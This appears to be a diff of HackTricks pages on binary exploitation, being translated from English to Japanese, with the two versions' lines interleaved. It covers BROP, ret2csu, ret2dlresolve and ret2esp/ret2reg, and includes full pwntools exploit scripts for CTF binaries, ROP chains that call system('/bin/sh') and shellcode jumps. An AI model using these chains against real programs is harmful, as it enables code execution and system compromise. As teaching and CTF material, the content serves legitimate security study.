- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> If there is data printed, then write was found - `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> データが印刷される場合、writeが見つかりました
## Automatic Exploitation ## 自動エクスプロイト
- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper) - [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## References ## 参考文献
- Original paper: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf) - 元の論文:[https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,18 +4,17 @@
## ##
## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Basic Information ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)基本情報
**ret2csu** is a hacking technique used when you're trying to take control of a program but can't find the **gadgets** you usually use to manipulate the program's behavior. **ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
When a program uses certain libraries (like libc), it has some built-in functions for managing how different pieces of the program talk to each other. Among these functions are some hidden gems that can act as our missing gadgets, especially one called `__libc_csu_init`. プログラムが特定のライブラリlibcなどを使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
### The Magic Gadgets in \_\_libc_csu_init ### __libc_csu_init の魔法のガジェット
In **`__libc_csu_init`**, there are two sequences of instructions (gadgets) to highlight: **`__libc_csu_init`** には、強調すべき2つの命令のシーケンスgadgetsがあります
1. The first sequence lets us set up values in several registers (rbx, rbp, r12, r13, r14, r15). These are like slots where we can store numbers or addresses we want to use later.
1. 最初のシーケンスは、いくつかのレジスタrbx、rbp、r12、r13、r14、r15に値を設定することを可能にします。これらは、後で使用したい数値やアドレスを保存するためのスロットのようなものです。
```armasm ```armasm
pop rbx; pop rbx;
pop rbp; pop rbp;
@ -25,22 +24,18 @@ pop r14;
pop r15; pop r15;
ret; ret;
``` ```
このガジェットは、スタックから値をポップしてこれらのレジスタを制御することを可能にします。
This gadget allows us to control these registers by popping values off the stack into them. 2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います
- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
2. The second sequence uses the values we set up to do a couple of things: - **r15とrbxの値を足し合わせ、次にrbxを8倍することによって決定された場所にコールを実行**します。
- **Move specific values into other registers**, making them ready for us to use as parameters in functions.
- **Perform a call to a location** determined by adding together the values in r15 and rbx, then multiplying rbx by 8.
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
mov edi, r13d; mov edi, r13d;
call qword [r12 + rbx*8]; call qword [r12 + rbx*8];
``` ```
3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わる**ことに注意してくださいが、それに到達するためにはいくつかの**条件**を満たす必要があります:
3. Maybe you don't know any address to write there and you **need a `ret` instruction**. Note that the second gadget will also **end in a `ret`**, but you will need to meet some **conditions** in order to reach it:
```armasm ```armasm
mov rdx, r15; mov rdx, r15;
mov rsi, r14; mov rsi, r14;
@ -52,50 +47,46 @@ jnz <func>
... ...
ret ret
``` ```
条件は次のとおりです:
The conditions will be: - `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要がありますアイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます):
- `_init``0x400560` にある場合、GEFを使用してメモリ内のポインタを検索し、`[r12 + rbx*8]``_init` へのポインタを持つアドレスにします:
- `[r12 + rbx*8]` must be pointing to an address storing a callable function (if no idea and no pie, you can just use `_init` func):
- If \_init is at `0x400560`, use GEF to search for a pointer in memory to it and make `[r12 + rbx*8]` be the address with the pointer to \_init:
```bash ```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560 gef➤ search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory [+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44 → "\x60\x05\x40[...]" 0x400e38 - 0x400e44 → "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r-- [+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44 → "\x60\x05\x40[...]" 0x600e38 - 0x600e44 → "\x60\x05\x40[...]"
``` ```
- `rbp``rbx` はジャンプを避けるために同じ値でなければなりません
- 考慮すべき省略されたポップがあります
- `rbp` and `rbx` must have the same value to avoid the jump ## RDI と RSI
- There are some omitted pops you need to take into account
## RDI and RSI ret2csu ガジェットから **`rdi`** と **`rsi`** を制御する別の方法は、特定のオフセットにアクセスすることです:
Another way to control **`rdi`** and **`rsi`** from the ret2csu gadget is by accessing it specific offsets:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
Check this page for more info: 詳細についてはこのページを確認してください:
{{#ref}} {{#ref}}
brop-blind-return-oriented-programming.md brop-blind-return-oriented-programming.md
{{#endref}} {{#endref}}
## Example ##
### Using the call ### コールを使用する
Imagine you want to make a syscall or call a function like `write()` but need specific values in the `rdx` and `rsi` registers as parameters. Normally, you'd look for gadgets that set these registers directly, but you can't find any. `write()` のようなシステムコールや関数を呼び出したいが、`rdx``rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
Here's where **ret2csu** comes into play: ここで **ret2csu** が登場します:
1. **Set Up the Registers**: Use the first magic gadget to pop values off the stack and into rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), and r15. 1. **レジスタの設定**: 最初のマジックガジェットを使用して、スタックから値をポップして rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx)、r15 に入れます。
2. **Use the Second Gadget**: With those registers set, you use the second gadget. This lets you move your chosen values into `rdx` and `rsi` (from r14 and r13, respectively), readying parameters for a function call. Moreover, by controlling `r15` and `rbx`, you can make the program call a function located at the address you calculate and place into `[r15 + rbx*8]`. 2. **2 番目のガジェットを使用**: これらのレジスタが設定されたら、2 番目のガジェットを使用します。これにより、選択した値を `rdx``rsi` に移動させ(それぞれ r14 と r13 から)、関数呼び出しのためのパラメータを準備します。さらに、`r15``rbx` を制御することで、計算したアドレスにある関数を呼び出すことができます。
You have an [**example using this technique and explaining it here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), and this is the final exploit it used:
この技術を使用した[**例とその説明はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)で、これが使用された最終的なエクスプロイトです:
```python ```python
from pwn import * from pwn import *
@ -119,14 +110,12 @@ p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!" print(p.recvline()) # should receive "Awesome work!"
``` ```
> [!WARNING] > [!WARNING]
> Note that the previous exploit isn't meant to do a **`RCE`**, it's meant to just call a function called **`win`** (taking the address of `win` from stdin calling gets in the ROP chain and storing it in r15) with a third argument with the value `0xdeadbeefcafed00d`. > 前のエクスプロイトは**`RCE`**を行うことを目的としていないことに注意してください。これは、**`win`**という関数を呼び出すことを目的としておりROPチェーン内でstdinからgetsを呼び出して`win`のアドレスを取得し、それをr15に格納します、第3引数には値`0xdeadbeefcafed00d`を指定します。
### Bypassing the call and reaching ret ### コールをバイパスしてretに到達する
The following exploit was extracted [**from this page**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html) where the **ret2csu** is used but instead of using the call, it's **bypassing the comparisons and reaching the `ret`** after the call:
次のエクスプロイトは、**このページ**から抽出されましたhttps://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html。ここでは**ret2csu**が使用されていますが、コールを使用する代わりに、**比較をバイパスしてコールの後の`ret`に到達しています**。
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/ # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@ -176,9 +165,8 @@ payload += ret2win
target.sendline(payload) target.sendline(payload)
target.interactive() target.interactive()
``` ```
### なぜ直接libcを使用しないのか
### Why Not Just Use libc Directly? 通常、これらのケースは[**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/)にも脆弱ですが、時にはlibc内で直接見つけたガジェットで簡単に制御できる以上のパラメータを制御する必要があります。例えば、`write()`関数は3つのパラメータを必要とし、**これらすべてを直接設定するためのガジェットを見つけることは不可能かもしれません**。
Usually these cases are also vulnerable to [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), but sometimes you need to control more parameters than are easily controlled with the gadgets you find directly in libc. For example, the `write()` function requires three parameters, and **finding gadgets to set all these directly might not be possible**.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,38 +2,37 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**. [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) および [**Relro**](../common-binary-protections-and-bypasses/relro.md) に関するページで説明されているように、Full Relro がないバイナリは、最初に使用されるときにシンボル(外部ライブラリへのアドレスなど)を解決します。この解決は、関数 **`_dl_runtime_resolve`** を呼び出すことで行われます。
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to **resolve** the specified symbol. **`_dl_runtime_resolve`** 関数は、指定されたシンボルを解決するために必要な構造体への参照をスタックから取得します。
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**). したがって、動的リンクが要求されたシンボル(例えば **`system`** 関数)を解決し、設定されたパラメータ(例: **`system('/bin/sh')`**)で呼び出すために、これらの構造体をすべて**偽装する**ことが可能です。
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** , having it **resolve the address of `system`** in the fake structures and **calling this address** with the address to `$'/bin/sh'`. 通常、これらの構造体は、書き込み可能なメモリ上で **`read`** を呼び出す**初期 ROP チェーンを作成することによって偽装され**、その後 **構造体** と文字列 **`'/bin/sh'`** が渡され、既知の場所に保存されます。そして、ROP チェーンは **`_dl_runtime_resolve`** を呼び出すことで続き、偽装された構造体内で **`system`** のアドレスを**解決し**、このアドレスを **`'/bin/sh'`** のアドレスで呼び出します。
> [!TIP] > [!TIP]
> This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv/) or [SROP](srop-sigreturn-oriented-programming/)) and there are't ways to leak libc addresses. > この技術は、syscall ガジェットがない場合([**ret2syscall**](rop-syscall-execv/) や [SROP](srop-sigreturn-oriented-programming/) のような技術を使用するためや、libc アドレスを漏洩させる方法がない場合に特に有用です。
Chek this video for a nice explanation about this technique in the second half of the video: この技術についての良い説明が動画の後半にあるので、チェックしてください:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
Or check these pages for a step-by-step explanation: または、ステップバイステップの説明については、これらのページを確認してください:
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
## Attack Summary ## 攻撃の概要
1. Write fake estructures in some place 1. どこかに偽の構造体を書き込む
2. Set the first argument of system (`$rdi = &'/bin/sh'`) 2. system の最初の引数を設定する(`$rdi = &'/bin/sh'`
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`** 3. **`_dl_runtime_resolve`** を呼び出すための構造体へのアドレスをスタックに設定する
4. **Call** `_dl_runtime_resolve` 4. **呼び出す** `_dl_runtime_resolve`
5. **`system`** will be resolved and called with `'/bin/sh'` as argument 5. **`system`** が解決され、`'/bin/sh'` を引数として呼び出される
From the [**pwntools documentation**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html), this is how a **`ret2dlresolve`** attack look like:
[**pwntools ドキュメント**](https://docs.pwntools.com/en/stable/rop/ret2dlresolve.html) から、**`ret2dlresolve`** 攻撃の見た目は次のようになります:
```python ```python
context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64')) context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf) >>> rop = ROP(elf)
@ -53,13 +52,11 @@ context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
0x0040: 0x4003e0 [plt_init] system 0x0040: 0x4003e0 [plt_init] system
0x0048: 0x15670 [dlresolve index] 0x0048: 0x15670 [dlresolve index]
``` ```
## 例
## Example ### 純粋なPwntools
### Pure Pwntools
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
この技術の[**例はこちら**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **に非常に良い最終ROPチェーンの説明が含まれていますが、ここに使用された最終的なエクスプロイトがあります:**
```python ```python
from pwn import * from pwn import *
@ -81,9 +78,7 @@ p.sendline(dlresolve.payload) # now the read is called and we pass all the re
p.interactive() p.interactive()
``` ```
### 生の
### Raw
```python ```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack # This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack
@ -186,12 +181,11 @@ target.send(paylaod2)
# Enjoy the shell! # Enjoy the shell!
target.interactive() target.interactive()
``` ```
## その他の例と参考文献
## Other Examples & References
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve) - [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html) - [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
- 32bit, no relro, no canary, nx, no pie, basic small buffer overflow and return. To exploit it the bof is used to call `read` again with a `.bss` section and a bigger size, to store in there the `dlresolve` fake tables to load `system`, return to main and re-abuse the initial bof to call dlresolve and then `system('/bin/sh')`. - 32ビット、relroなし、canaryなし、nx、pieなし、基本的な小さなバッファオーバーフローとリターン。これを悪用するために、bofは`.bss`セクションとより大きなサイズで`read`を再度呼び出すために使用され、そこに`dlresolve`の偽テーブルを格納して`system`をロードし、mainに戻り、最初のbofを再利用してdlresolveを呼び出し、その後`system('/bin/sh')`を実行します。
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,24 @@
## **Ret2esp** ## **Ret2esp**
**Because the ESP (Stack Pointer) always points to the top of the stack**, this technique involves replacing the EIP (Instruction Pointer) with the address of a **`jmp esp`** or **`call esp`** instruction. By doing this, the shellcode is placed right after the overwritten EIP. When the `ret` instruction executes, ESP points to the next address, precisely where the shellcode is stored. **ESPスタックポインタが常にスタックの最上部を指しているため**、この技術はEIP命令ポインタを**`jmp esp`**または**`call esp`**命令のアドレスで置き換えることを含みます。これにより、シェルコードは上書きされたEIPのすぐ後ろに配置されます。`ret`命令が実行されると、ESPは次のアドレスを指し、正確にシェルコードが格納されている場所になります。
If **Address Space Layout Randomization (ASLR)** is not enabled in Windows or Linux, it's possible to use `jmp esp` or `call esp` instructions found in shared libraries. However, with [**ASLR**](../common-binary-protections-and-bypasses/aslr/) active, one might need to look within the vulnerable program itself for these instructions (and you might need to defeat [**PIE**](../common-binary-protections-and-bypasses/pie/)). **アドレス空間配置のランダム化ASLR**がWindowsやLinuxで有効でない場合、共有ライブラリに見つかる`jmp esp`または`call esp`命令を使用することが可能です。しかし、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)が有効な場合、これらの命令を見つけるために脆弱なプログラム自体を調べる必要があるかもしれません(そして、[**PIE**](../common-binary-protections-and-bypasses/pie/)を回避する必要があるかもしれません)。
Moreover, being able to place the shellcode **after the EIP corruption**, rather than in the middle of the stack, ensures that any `push` or `pop` instructions executed during the function's operation don't interfere with the shellcode. This interference could happen if the shellcode were placed in the middle of the function's stack. さらに、EIPの破損の**後にシェルコードを配置できる**ことは、関数の操作中に実行される`push``pop`命令がシェルコードに干渉しないことを保証します。この干渉は、シェルコードが関数のスタックの中間に配置されている場合に発生する可能性があります。
### Lacking space ### スペース不足
If you are lacking space to write after overwriting RIP (maybe just a few bytes), write an initial **`jmp`** shellcode like:
RIPを上書きした後に書き込むスペースが不足している場合おそらく数バイトだけ、初期の**`jmp`**シェルコードを次のように書きます:
```armasm ```armasm
sub rsp, 0x30 sub rsp, 0x30
jmp rsp jmp rsp
``` ```
スタックの早い段階にシェルコードを書きます。
And write the shellcode early in the stack. ### 例
### Example
You can find an example of this technique in [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) with a final exploit like:
この技術の例は[https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)で見つけることができ、最終的なエクスプロイトは次のようになります:
```python ```python
from pwn import * from pwn import *
@ -36,17 +33,15 @@ jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120 payload = b'A' * 120
payload += p64(jmp_rsp) payload += p64(jmp_rsp)
payload += asm(''' payload += asm('''
sub rsp, 10; sub rsp, 10;
jmp rsp; jmp rsp;
''') ''')
pause() pause()
p.sendlineafter('RSP!\n', payload) p.sendlineafter('RSP!\n', payload)
p.interactive() p.interactive()
``` ```
この技術の別の例は[https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html)で見ることができます。NXが有効でないバッファオーバーフローがあり、`$esp`のアドレスを**減少させるためのガジェット**が使用され、その後`shellcode`にジャンプするために`jmp esp;`が使われます。
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
```python ```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import * from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell # Drop to an interactive shell
target.interactive() target.interactive()
``` ```
## Ret2reg ## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). 同様に、関数がシェルコードが格納されているアドレスを返すことがわかっている場合、**`call eax`** または **`jmp eax`** 命令(**ret2eax** テクニックとして知られるを利用して、シェルコードを実行する別の方法を提供できます。eaxと同様に、**興味深いアドレスを含む他のレジスタ**も使用できます(**ret2reg**)。
### Example ###
You can find some examples here:&#x20; いくつかの例はここにあります:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. - **`strcpy`** は **`eax`** にシェルコードが格納されているバッファのアドレスを保存し、**`eax`** は上書きされていないため、`ret2eax` を使用することが可能です。
## ARM64 ## ARM64
### Ret2sp ### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: ARM64 では、**SP レジスタにジャンプする**命令は**存在しません**。**sp をレジスタに移動させ、そのレジスタにジャンプする**ガジェットを見つけることができるかもしれませんが、私の Kali の libc ではそのようなガジェットを見つけることができませんでした:
```bash ```bash
for i in `seq 1 30`; do for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done done
``` ```
私が発見した唯一のものは、spがジャンプする前にコピーされたレジストリの値を変更するものでしたそのため、それは無意味になります
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg ### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: レジストリに興味深いアドレスがある場合、適切な命令を見つけることでそこにジャンプすることが可能です。あなたは次のようなものを使用できます:
```bash ```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
``` ```
ARM64では、**`x0`**が関数の戻り値を格納します。したがって、x0がユーザーによって制御されるバッファのアドレスを格納し、実行するシェルコードを含む可能性があります。
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute. 例のコード:
Example code:
```c ```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h> #include <string.h>
void do_stuff(int do_arg){ void do_stuff(int do_arg){
if (do_arg == 1) if (do_arg == 1)
__asm__("br x0"); __asm__("br x0");
return; return;
} }
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin); fgets(buffer, sizeof(buffer)*3, stdin);
return buffer; return buffer;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = vulnerable_function(); char* b = vulnerable_function();
do_stuff(2) do_stuff(2)
return 0; return 0;
} }
``` ```
関数の逆アセンブルを確認すると、**バッファへのアドレス**bofに対して脆弱であり、**ユーザーによって制御される**)が**`x0`に格納されている**ことがわかります。バッファオーバーフローから戻る前に:
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: また、**`do_stuff`**関数内に**`br x0`**というガジェットが見つかります:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: このガジェットを使用してそこにジャンプします。バイナリは**PIEなしでコンパイルされています。** パターンを使用すると、**バッファオーバーフローのオフセットは80である**ことがわかるので、エクスプロイトは次のようになります:
```python ```python
from pwn import * from pwn import *
@ -171,15 +158,14 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
> [!WARNING] > [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ > もし `fgets` の代わりに **`read`** のようなものが使われていた場合、**戻りアドレスの最後の2バイトだけを上書きすることで** PIEをバイパスすることが可能だったでしょう。完全なアドレスを知る必要はありませんでした。\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. > `fgets` では、**最後にヌル (0x00) バイトを追加するため**、うまくいきません。
## Protections ## Protections
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): スタックが実行可能でない場合、シェルコードをスタックに配置して実行するためには役に立ちません。
